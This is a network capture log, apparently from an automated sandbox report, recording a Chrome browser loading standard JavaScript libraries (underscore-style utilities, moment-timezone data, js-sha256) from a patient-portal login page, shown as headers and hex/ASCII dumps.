2024-04-24 12:45:10 UTC	1369	IN	Data Raw: 6f 3d 65 7c 7c 30 2c 61 3d 4f 28 6e 29 3b 61 3e 6f 3b 6f 2b 2b 29 7b 76 61 72 20 63 3d 6e 5b 6f 5d 3b 69 66 28 6b 28 63 29 26 26 28 6d 2e 69 73 41 72 72 61 79 28 63 29 7c 7c 6d 2e 69 73 41 72 67 75 6d 65 6e 74 73 28 63 29 29 29 7b 74 7c 7c 28 63 3d 53 28 63 2c 74 2c 72 29 29 3b 76 61 72 20 66 3d 30 2c 6c 3d 63 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 75 2e 6c 65 6e 67 74 68 2b 3d 6c 3b 6c 3e 66 3b 29 75 5b 69 2b 2b 5d 3d 63 5b 66 2b 2b 5d 7d 65 6c 73 65 20 72 7c 7c 28 75 5b 69 2b 2b 5d 3d 63 29 7d 72 65 74 75 72 6e 20 75 7d 3b 6d 2e 66 6c 61 74 74 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 53 28 6e 2c 74 2c 21 31 29 7d 2c 6d 2e 77 69 74 68 6f 75 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6d 2e 64 69 66 66 65 72 Data Ascii: o=e\|\|0,a=O(n);a>o;o++){var c=n[o];if(k(c)&&(m.isArray(c)\|\|m.isArguments(c))){t\|\|(c=S(c,t,r));var f=0,l=c.length;for(u.length+=l;l>f;)u[i++]=c[f++]}else r\|\|(u[i++]=c)}return u};m.flatten=function(n,t){return S(n,t,!1)},m.without=function(n){return m.differ
2024-04-24 12:45:10 UTC	1369	IN	Data Raw: 66 69 6e 64 4c 61 73 74 49 6e 64 65 78 29 2c 6d 2e 72 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 6e 75 6c 6c 3d 3d 74 26 26 28 74 3d 6e 7c 7c 30 2c 6e 3d 30 29 2c 72 3d 72 7c 7c 31 3b 66 6f 72 28 76 61 72 20 65 3d 4d 61 74 68 2e 6d 61 78 28 4d 61 74 68 2e 63 65 69 6c 28 28 74 2d 6e 29 2f 72 29 2c 30 29 2c 75 3d 41 72 72 61 79 28 65 29 2c 69 3d 30 3b 65 3e 69 3b 69 2b 2b 2c 6e 2b 3d 72 29 75 5b 69 5d 3d 6e 3b 72 65 74 75 72 6e 20 75 7d 3b 76 61 72 20 45 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 2c 65 2c 75 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 72 65 74 75 72 6e 20 6e 2e 61 70 70 6c 79 28 72 2c 75 29 3b 76 61 72 20 69 3d 6a 28 6e 2e 70 72 6f 74 6f 74 79 70 65 29 2c 6f 3d 6e 2e 61 70 70 6c 79 28 69 2c 75 Data Ascii: findLastIndex),m.range=function(n,t,r){null==t&&(t=n\|\|0,n=0),r=r\|\|1;for(var e=Math.max(Math.ceil((t-n)/r),0),u=Array(e),i=0;e>i;i++,n+=r)u[i]=n;return u};var E=function(n,t,r,e,u){if(!(e instanceof t))return n.apply(r,u);var i=j(n.prototype),o=n.apply(i,u
2024-04-24 12:45:10 UTC	1369	IN	Data Raw: 3d 75 3d 6e 75 6c 6c 29 7d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 3d 6d 2e 6e 6f 77 28 29 3b 61 7c 7c 72 2e 6c 65 61 64 69 6e 67 21 3d 3d 21 31 7c 7c 28 61 3d 66 29 3b 76 61 72 20 6c 3d 74 2d 28 66 2d 61 29 3b 72 65 74 75 72 6e 20 65 3d 74 68 69 73 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2c 30 3e 3d 6c 7c 7c 6c 3e 74 3f 28 6f 26 26 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6f 29 2c 6f 3d 6e 75 6c 6c 29 2c 61 3d 66 2c 69 3d 6e 2e 61 70 70 6c 79 28 65 2c 75 29 2c 6f 7c 7c 28 65 3d 75 3d 6e 75 6c 6c 29 29 3a 6f 7c 7c 72 2e 74 72 61 69 6c 69 6e 67 3d 3d 3d 21 31 7c 7c 28 6f 3d 73 65 74 54 69 6d 65 6f 75 74 28 63 2c 6c 29 29 2c 69 7d 7d 2c 6d 2e 64 65 62 6f 75 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 76 61 72 20 Data Ascii: =u=null)};return function(){var f=m.now();a\|\|r.leading!==!1\|\|(a=f);var l=t-(f-a);return e=this,u=arguments,0>=l\|\|l>t?(o&&(clearTimeout(o),o=null),a=f,i=n.apply(e,u),o\|\|(e=u=null)):o\|\|r.trailing===!1\|\|(o=setTimeout(c,l)),i}},m.debounce=function(n,t,r){var
2024-04-24 12:45:10 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 6d 2e 6b 65 79 73 28 6e 29 2c 72 3d 74 2e 6c 65 6e 67 74 68 2c 65 3d 41 72 72 61 79 28 72 29 2c 75 3d 30 3b 72 3e 75 3b 75 2b 2b 29 65 5b 75 5d 3d 6e 5b 74 5b 75 5d 5d 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 2e 6d 61 70 4f 62 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 74 3d 78 28 74 2c 72 29 3b 66 6f 72 28 76 61 72 20 65 2c 75 3d 6d 2e 6b 65 79 73 28 6e 29 2c 69 3d 75 2e 6c 65 6e 67 74 68 2c 6f 3d 7b 7d 2c 61 3d 30 3b 69 3e 61 3b 61 2b 2b 29 65 3d 75 5b 61 5d 2c 6f 5b 65 5d 3d 74 28 6e 5b 65 5d 2c 65 2c 6e 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 6d 2e 70 61 69 72 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 6d 2e 6b 65 79 73 28 6e 29 2c 72 3d 74 2e 6c 65 6e Data Ascii: nction(n){for(var t=m.keys(n),r=t.length,e=Array(r),u=0;r>u;u++)e[u]=n[t[u]];return e},m.mapObject=function(n,t,r){t=x(t,r);for(var e,u=m.keys(n),i=u.length,o={},a=0;i>a;a++)e=u[a],o[e]=t(n[e],e,n);return o},m.pairs=function(n){for(var t=m.keys(n),r=t.len
2024-04-24 12:45:10 UTC	1369	IN	Data Raw: 65 3b 66 6f 72 28 76 61 72 20 75 3d 4f 62 6a 65 63 74 28 6e 29 2c 69 3d 30 3b 65 3e 69 3b 69 2b 2b 29 7b 76 61 72 20 6f 3d 72 5b 69 5d 3b 69 66 28 74 5b 6f 5d 21 3d 3d 75 5b 6f 5d 7c 7c 21 28 6f 20 69 6e 20 75 29 29 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 2c 65 29 7b 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 72 6e 20 30 21 3d 3d 6e 7c 7c 31 2f 6e 3d 3d 3d 31 2f 74 3b 69 66 28 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 75 6c 6c 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3d 3d 3d 74 3b 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 6d 26 26 28 6e 3d 6e 2e 5f 77 72 61 70 70 65 64 29 2c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6d 26 26 28 74 3d 74 2e 5f 77 72 61 70 70 65 64 29 3b 76 61 72 20 75 3d 73 2e 63 61 6c 6c Data Ascii: e;for(var u=Object(n),i=0;e>i;i++){var o=r[i];if(t[o]!==u[o]\|\|!(o in u))return!1}return!0};var N=function(n,t,r,e){if(n===t)return 0!==n\|\|1/n===1/t;if(null==n\|\|null==t)return n===t;n instanceof m&&(n=n._wrapped),t instanceof m&&(t=t._wrapped);var u=s.call

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	50108	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:09 UTC	790	OUT	GET /portal14763/script/moment-timezone-with-data.min.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:10 UTC	463	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:10 GMT Content-Type: text/javascript Content-Length: 930654 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:10 GMT Accept-Ranges: bytes ETag: W/"930654-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:10 UTC	15921	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 4d 2c 7a 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 7a 28 72 65 71 75 69 72 65 28 22 6d 6f 6d 65 6e 74 22 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6d 6f 6d 65 6e 74 22 5d 2c 7a 29 3a 7a 28 4d 2e 6d 6f 6d 65 6e 74 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 41 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 7a 2c 71 3d 7b 7d 2c 6f 3d 7b 7d 2c 57 3d 7b 7d 2c 64 3d 7b 7d 3b 41 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 41 2e 76 Data Ascii: !function(M,z){"use strict";"object"==typeof module&&module.exports?module.exports=z(require("moment")):"function"==typeof define&&define.amd?define(["moment"],z):z(M.moment)}(this,function(A){"use strict";var z,q={},o={},W={},d={};A&&"string"==typeof A.v
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 69 31 30 20 31 38 6e 30 20 31 68 64 30 20 31 38 4c 30 20 31 67 4e 30 20 31 39 62 30 20 31 67 70 30 20 31 39 7a 30 20 31 69 4e 30 20 31 37 7a 30 20 31 69 31 30 20 31 37 58 30 20 79 47 64 30 20 48 6a 4c 30 7c 35 31 65 35 22 2c 22 41 66 72 69 63 61 2f 4d 6f 6e 72 6f 76 69 61 7c 4c 4d 54 20 4d 4d 54 20 4d 4d 54 20 47 4d 54 7c 48 2e 38 20 48 2e 38 20 49 2e 75 20 30 7c 30 31 32 33 7c 2d 33 79 67 6e 67 2e 51 20 31 75 73 4d 30 20 32 38 47 30 31 2e 6d 7c 31 31 65 35 22 2c 22 41 66 72 69 63 61 2f 4e 64 6a 61 6d 65 6e 61 7c 4c 4d 54 20 57 41 54 20 57 41 53 54 7c 2d 31 30 2e 63 20 2d 31 30 20 2d 32 30 7c 30 31 32 31 7c 2d 32 6c 65 31 30 2e 63 20 32 4a 33 63 30 2e 63 20 57 6e 30 7c 31 33 65 35 22 2c 22 41 66 72 69 63 61 2f 53 61 6f 5f 54 6f 6d 65 7c 4c 4d 54 20 4c 4d Data Ascii: i10 18n0 1hd0 18L0 1gN0 19b0 1gp0 19z0 1iN0 17z0 1i10 17X0 yGd0 HjL0\|51e5","Africa/Monrovia\|LMT MMT MMT GMT\|H.8 H.8 I.u 0\|0123\|-3ygng.Q 1usM0 28G01.m\|11e5","Africa/Ndjamena\|LMT WAT WAST\|-10.c -10 -20\|0121\|-2le10.c 2J3c0.c Wn0\|13e5","Africa/Sao_Tome\|LMT LM
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 75 31 30 20 35 4c 62 30 20 31 70 42 30 20 46 6e 7a 30 20 75 31 30 20 75 4c 30 20 31 76 64 30 20 53 4c 30 20 31 76 64 30 20 53 4c 30 20 31 76 64 30 20 31 37 7a 30 20 31 63 4e 30 20 31 66 7a 30 20 31 63 4e 30 20 31 63 4c 30 20 31 63 4e 30 20 61 73 6e 30 20 44 62 30 20 7a 76 64 30 20 42 7a 30 20 31 74 42 30 20 54 58 30 20 31 77 70 30 20 52 62 30 20 31 77 70 30 20 52 62 30 20 31 77 70 30 20 54 58 30 20 72 6c 42 30 20 37 42 30 20 38 7a 62 30 20 75 4c 30 22 2c 22 41 6d 65 72 69 63 61 2f 41 72 67 65 6e 74 69 6e 61 2f 53 61 6c 74 61 7c 4c 4d 54 20 43 4d 54 20 2d 30 34 20 2d 30 33 20 2d 30 32 7c 34 6c 2e 45 20 34 67 2e 4d 20 34 30 20 33 30 20 32 30 7c 30 31 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 32 33 Data Ascii: u10 5Lb0 1pB0 Fnz0 u10 uL0 1vd0 SL0 1vd0 SL0 1vd0 17z0 1cN0 1fz0 1cN0 1cL0 1cN0 asn0 Db0 zvd0 Bz0 1tB0 TX0 1wp0 Rb0 1wp0 Rb0 1wp0 TX0 rlB0 7B0 8zb0 uL0","America/Argentina/Salta\|LMT CMT -04 -03 -02\|4l.E 4g.M 40 30 20\|01232323232323232323232323232323232323
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 63 61 2f 42 6f 67 6f 74 61 7c 4c 4d 54 20 42 4d 54 20 2d 30 35 20 2d 30 34 7c 34 55 2e 67 20 34 55 2e 67 20 35 30 20 34 30 7c 30 31 32 33 32 7c 2d 33 73 54 76 33 2e 49 20 31 65 49 6f 30 20 33 38 79 6f 33 2e 49 20 32 65 6e 30 7c 39 30 65 35 22 2c 22 41 6d 65 72 69 63 61 2f 42 6f 69 73 65 7c 4c 4d 54 20 50 53 54 20 50 44 54 20 4d 53 54 20 4d 57 54 20 4d 50 54 20 4d 44 54 7c 37 49 2e 4e 20 38 30 20 37 30 20 37 30 20 36 30 20 36 30 20 36 30 7c 30 31 32 31 32 31 33 34 35 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 33 36 Data Ascii: ca/Bogota\|LMT BMT -05 -04\|4U.g 4U.g 50 40\|01232\|-3sTv3.I 1eIo0 38yo3.I 2en0\|90e5","America/Boise\|LMT PST PDT MST MWT MPT MDT\|7I.N 80 70 70 60 60 60\|01212134536363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 4b 70 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 Data Ascii: HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 IL0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1Kp0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 IL0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 IL0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 IL0 1HB0 FX0 1HB0
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 42 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 45 4e 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 45 4e 30 20 49 4c 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 4b 70 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 45 4e 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 45 4e 30 20 49 4c 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 49 4c 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 46 58 30 20 31 48 42 30 20 Data Ascii: B0 FX0 1HB0 IL0 1HB0 FX0 1HB0 IL0 1EN0 FX0 1HB0 FX0 1HB0 IL0 1EN0 IL0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1Kp0 FX0 1HB0 IL0 1EN0 FX0 1HB0 FX0 1HB0 IL0 1EN0 IL0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0 IL0 1HB0 FX0 1HB0 FX0 1HB0 FX0 1HB0
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 Data Ascii: zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 Data Ascii: p0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 32 31 7c 2d 32 61 35 55 78 2e 34 20 32 7a 35 64 78 2e 34 20 31 39 55 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 66 41 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 66 41 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 20 31 63 4d 30 Data Ascii: 12121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121\|-2a5Ux.4 2z5dx.4 19U0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 52 64 30 20 31 7a 62 30 20 4f 70 30 20 31 7a 62 30 20 4f 70 30 Data Ascii: Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	50109	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:09 UTC	766	OUT	GET /portal14763/script/hash2.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:10 UTC	461	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:10 GMT Content-Type: text/javascript Content-Length: 13939 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:10 GMT Accept-Ranges: bytes ETag: W/"13939-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:10 UTC	13939	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 5b 6a 73 2d 73 68 61 32 35 36 5d 7b 40 6c 69 6e 6b 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 65 6d 6e 31 37 38 2f 6a 73 2d 73 68 61 32 35 36 7d 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 30 2e 35 2e 30 0a 20 2a 20 40 61 75 74 68 6f 72 20 43 68 65 6e 2c 20 59 69 2d 43 79 75 61 6e 20 5b 65 6d 6e 31 37 38 40 67 6d 61 69 6c 2e 63 6f 6d 5d 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 20 43 68 65 6e 2c 20 59 69 2d 43 79 75 61 6e 20 32 30 31 34 2d 32 30 31 37 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 4d 49 54 0a 20 2a 2f 0a 2f 2a 6a 73 6c 69 6e 74 20 62 69 74 77 69 73 65 3a 20 74 72 75 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 20 20 76 61 72 20 72 6f 6f 74 Data Ascii: /** * [js-sha256]{@link https://github.com/emn178/js-sha256} * * @version 0.5.0 * @author Chen, Yi-Cyuan [emn178@gmail.com] * @copyright Chen, Yi-Cyuan 2014-2017 * @license MIT //jslint bitwise: true */(function () { 'use strict'; var root

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	50112	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
